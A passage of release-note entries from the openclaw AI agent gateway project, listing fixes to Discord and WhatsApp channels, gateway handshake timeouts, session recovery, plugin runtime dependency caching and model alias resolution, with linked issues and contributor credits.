<li>Plugin SDK/Discord: restore a deprecated <code>openclaw/plugin-sdk/discord</code> compatibility facade and the legacy compat group-policy warning export for the published <code>@openclaw/discord@2026.3.13</code> package, covering its config, account, directory, status, and thread-binding imports while keeping new plugins on generic SDK subpaths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344804450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73685" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73685/hovercard" href="https://github.com/openclaw/openclaw/issues/73685">#73685</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345028871" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73703" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73703/hovercard" href="https://github.com/openclaw/openclaw/pull/73703">#73703</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rderickson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rderickson9">@rderickson9</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Channels/Discord: suppress duplicate gateway monitors when multiple enabled accounts resolve to the same bot token, preferring config tokens over default env fallback and reporting skipped duplicates as disabled. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344054955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73608" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73608/hovercard" href="https://github.com/openclaw/openclaw/pull/73608">#73608</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</li>
<li>CLI/health: build channel health summaries from inspected credential metadata plus runtime state, so <code>openclaw health --json</code> reports Discord <code>running</code>, <code>connected</code>, and <code>tokenSource</code> consistently with channel status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066903951" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44354" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44354/hovercard" href="https://github.com/openclaw/openclaw/issues/44354">#44354</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferenc-acs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferenc-acs">@ferenc-acs</a>.</li>
<li>Control UI/Talk: decode Google Live binary WebSocket JSON frames and stop queued browser audio on interruption or shutdown, so browser Talk leaves <code>Connecting Talk...</code> and barge-in no longer plays stale audio. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343876260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73601/hovercard" href="https://github.com/openclaw/openclaw/issues/73601">#73601</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342101919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73460" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73460/hovercard" href="https://github.com/openclaw/openclaw/issues/73460">#73460</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342138204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73466/hovercard" href="https://github.com/openclaw/openclaw/pull/73466">#73466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>.</li>
<li>Channels/Discord: ignore stale route-shaped conversation bindings after a Discord channel is reconfigured to another agent, while preserving explicit focus and subagent bindings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344233247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73626/hovercard" href="https://github.com/openclaw/openclaw/issues/73626">#73626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ramitrkar-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ramitrkar-hash">@ramitrkar-hash</a>.</li>
<li>Agents/bootstrap: pass pending BOOTSTRAP.md contents through the first-run user prompt while keeping them out of privileged system context, and show limited bootstrap guidance when workspace file access is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344203540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73622/hovercard" href="https://github.com/openclaw/openclaw/issues/73622">#73622</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mark1010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mark1010">@mark1010</a>.</li>
<li>ACP/tasks: classify parent-owned ACP sessions as background work regardless of persistent runtime mode, and close terminal stale ACP sessions when no active binding remains, so delegated ACP output reports through the parent task notifier instead of acting like a normal foreground chat session. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Tasks: keep terminal mirrored TaskFlow timestamps pinned to task completion time and let maintenance repair stale mirrors, so ACP terminal delivery updates no longer leave inconsistent flow audits. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Gateway/sessions: add conservative stuck-session recovery that releases only stale session lanes while active embedded runs, reply operations, and lane tasks remain serialized, so queued follow-ups can drain without aborting legitimate long-running turns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343463353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73581/hovercard" href="https://github.com/openclaw/openclaw/issues/73581">#73581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344463460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73655/hovercard" href="https://github.com/openclaw/openclaw/issues/73655">#73655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345057984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73705/hovercard" href="https://github.com/openclaw/openclaw/issues/73705">#73705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343876260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73601/hovercard" href="https://github.com/openclaw/openclaw/issues/73601">#73601</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WS-Q0758/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WS-Q0758">@WS-Q0758</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryangauvin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryangauvin">@bryangauvin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spenceryang1996-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spenceryang1996-dot">@spenceryang1996-dot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmilne1981/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmilne1981">@bmilne1981</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattmcintyre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattmcintyre">@mattmcintyre</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a>.</li>
<li>Plugins: cache unchanged plugin manifest loads by file signature, reducing repeated JSON/JSON5 parsing and manifest normalization in bursty startup and runtime registry paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344765997" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73678/hovercard" href="https://github.com/openclaw/openclaw/pull/73678">#73678</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TheDutchRuler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TheDutchRuler">@TheDutchRuler</a>.</li>
<li>Plugins/runtime-deps: cache unchanged bundled runtime mirror dist-file materialization decisions and close file-lock handles on owner-write failures, reducing repeated startup chunk scans and avoiding FileHandle-GC recovery stalls. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Plugins/runtime-deps: retry and defer transient cleanup failures for owned runtime staging directories so CLI startup no longer aborts after a successful bundled dependency swap. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347196394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73903" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73903/hovercard" href="https://github.com/openclaw/openclaw/issues/73903">#73903</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bobfreeman1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bobfreeman1989">@bobfreeman1989</a>.</li>
<li>Plugins/runtime-deps: cache bundled runtime-deps JSON/package files by file signature, reducing repeated staged-runtime metadata reads during bundled channel startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345057984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73705/hovercard" href="https://github.com/openclaw/openclaw/issues/73705">#73705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattmcintyre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattmcintyre">@mattmcintyre</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmilne1981/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmilne1981">@bmilne1981</a>.</li>
<li>Plugins/runtime-deps: delegate bundled plugin dependency staging to complete npm/pnpm install plans with durable runtime state, removing retained-manifest and source-checkout cache reconciliation from Gateway startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmfraga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmfraga">@jmfraga</a>.</li>
<li>Plugins/runtime-deps: replace Gateway-start root chunk dependency inference with explicit mirrored-root dependency metadata, reducing staged runtime scans while preserving lazy per-plugin installs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Plugins/runtime-deps: run pnpm staged installs outside the repository workspace and disable pnpm release-age gates for exact bundled runtime dependency materialization, so bundled plugin dependency repair writes packages into the generated stage without blocking fresh packaged dependencies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>CLI/TUI: keep <code>chat.history</code> off model-catalog discovery so initial Gateway-backed TUI history loads cannot block behind slow provider/plugin model scans on low-core hosts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342748182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73524" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73524/hovercard" href="https://github.com/openclaw/openclaw/issues/73524">#73524</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshcatsystems-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshcatsystems-collab">@harshcatsystems-collab</a>.</li>
<li>Channels/WhatsApp: flag recently reconnected linked accounts in channel status even when the socket is currently healthy, so flapping WhatsApp Web sessions no longer look clean after a brief reconnect. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>.</li>
<li>Channels/WhatsApp: log shared dispatcher delivery failures with reply kind, message id, chat id, and connection id, so typing-without-send reports can identify whether the WhatsApp send path rejected a generated reply. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349593113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74269" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74269/hovercard" href="https://github.com/openclaw/openclaw/issues/74269">#74269</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomcosta-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomcosta-git">@tomcosta-git</a>.</li>
<li>Feishu: suppress distinct late <code>final</code> text deliveries after a streaming card has already closed, while keeping media attachments deliverable, so late-finals no longer reopen duplicate Feishu cards. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330083943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71977" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71977/hovercard" href="https://github.com/openclaw/openclaw/issues/71977">#71977</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331519751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72294" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72294/hovercard" href="https://github.com/openclaw/openclaw/pull/72294">#72294</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a>.</li>
<li>Gateway: expose <code>gateway.handshakeTimeoutMs</code> in config, schema, and docs while preserving <code>OPENCLAW_HANDSHAKE_TIMEOUT_MS</code> precedence, so loaded or low-powered hosts can tune local WebSocket pre-auth handshakes without patching dist files. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110188380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51282" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51282/hovercard" href="https://github.com/openclaw/openclaw/pull/51282">#51282</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/henry-the-frog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/henry-the-frog">@henry-the-frog</a>.</li>
<li>Gateway/TUI/status: align configured and env-based WebSocket handshake budgets across local clients, probes, and fallback RPCs while preserving explicit status timeouts and paired-device auth fallback, so slow local gateways are not marked unreachable by a shorter client watchdog. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342748182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73524" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73524/hovercard" href="https://github.com/openclaw/openclaw/issues/73524">#73524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342797952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73535" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73535/hovercard" href="https://github.com/openclaw/openclaw/issues/73535">#73535</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshcatsystems-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshcatsystems-collab">@harshcatsystems-collab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DJBlackhawk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DJBlackhawk">@DJBlackhawk</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>.</li>
<li>Gateway/startup: return retryable <code>UNAVAILABLE</code> during the sidecar startup window and keep CLI/TUI/status clients retrying inside their existing timeout budget, so early connects no longer surface as terminal handshake failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spenceryang1996-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spenceryang1996-dot">@spenceryang1996-dot</a>.</li>
<li>Gateway/proxy: bypass inherited proxy environment for local Gateway control-plane WebSockets to <code>localhost</code> as well as loopback IPs, so Windows/WSL proxy settings cannot intercept local CLI/TUI Gateway connections. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342188777" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73474" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73474/hovercard" href="https://github.com/openclaw/openclaw/pull/73474">#73474</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DhtIsCoding/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DhtIsCoding">@DhtIsCoding</a>.</li>
<li>Doctor/Gateway: use a lightweight <code>status</code> RPC without channel summary work for doctor Gateway liveness, so slow health snapshots do not falsely drive service restart repair. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240455463" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64400/hovercard" href="https://github.com/openclaw/openclaw/issues/64400">#64400</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241956746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64511" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64511/hovercard" href="https://github.com/openclaw/openclaw/pull/64511">#64511</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CHE10X/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CHE10X">@CHE10X</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EronFan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EronFan">@EronFan</a>.</li>
<li>Agents/auth: scope external CLI credential discovery to configured providers during model auth status and startup prewarm, so opencode-only and other single-provider gateways do not block on unrelated Claude CLI Keychain probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347237976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73908/hovercard" href="https://github.com/openclaw/openclaw/issues/73908">#73908</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ailuras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ailuras">@Ailuras</a>.</li>
<li>Agents/model selection: resolve slash-form aliases before provider/model parsing and keep alias-resolved primary models subject to transient provider cooldowns, so cron and persisted sessions do not retry cooled-down raw aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343366616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73573/hovercard" href="https://github.com/openclaw/openclaw/issues/73573">#73573</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344524821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73657" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73657/hovercard" href="https://github.com/openclaw/openclaw/issues/73657">#73657</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akai-shuuichi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akai-shuuichi">@akai-shuuichi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hashslingers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hashslingers">@hashslingers</a>.</li>
